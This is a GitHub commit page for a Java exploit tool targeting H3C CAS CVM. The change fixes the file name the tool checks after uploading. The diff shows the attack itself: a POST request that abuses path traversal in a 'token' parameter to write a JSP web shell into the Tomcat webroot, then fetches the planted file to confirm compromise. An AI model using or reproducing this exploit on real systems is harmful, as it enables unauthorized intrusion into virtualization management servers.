Skip to content

Commit

Permalink
Update cas_cvm_upload.java 文件名校验
Browse files Browse the repository at this point in the history
校验漏洞是否利用成功的文件名错误
  • Loading branch information
dbgee authored Mar 23, 2023
1 parent c8877e6 commit ec1492c
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion src/main/java/exp/equipment/h3c/cas_cvm_upload.java
Original file line number Diff line number Diff line change
Expand Up @@ -56,7 +56,7 @@ private boolean shell(String url,TextArea textArea){

Response post = HttpTools.post(url + "/cas/fileUpload/upload?token=/../../../../../var/lib/tomcat8/webapps/cas/js/lib/buttons/nishizhu.jsp&name=222", payload, head, "utf-8");

Response response = HttpTools.get(url + "/cas/js/lib/buttons/nishizhu.txt", new HashMap<String, String>(), "utf-8");
Response response = HttpTools.get(url + "/cas/js/lib/buttons/nishizhu.jsp", new HashMap<String, String>(), "utf-8");
if(response.getCode() == 200 && response.getText().contains(shell.test_payload)){
Platform.runLater(() -> {
textArea.appendText(
Expand Down

0 comments on commit ec1492c

Please sign in to comment.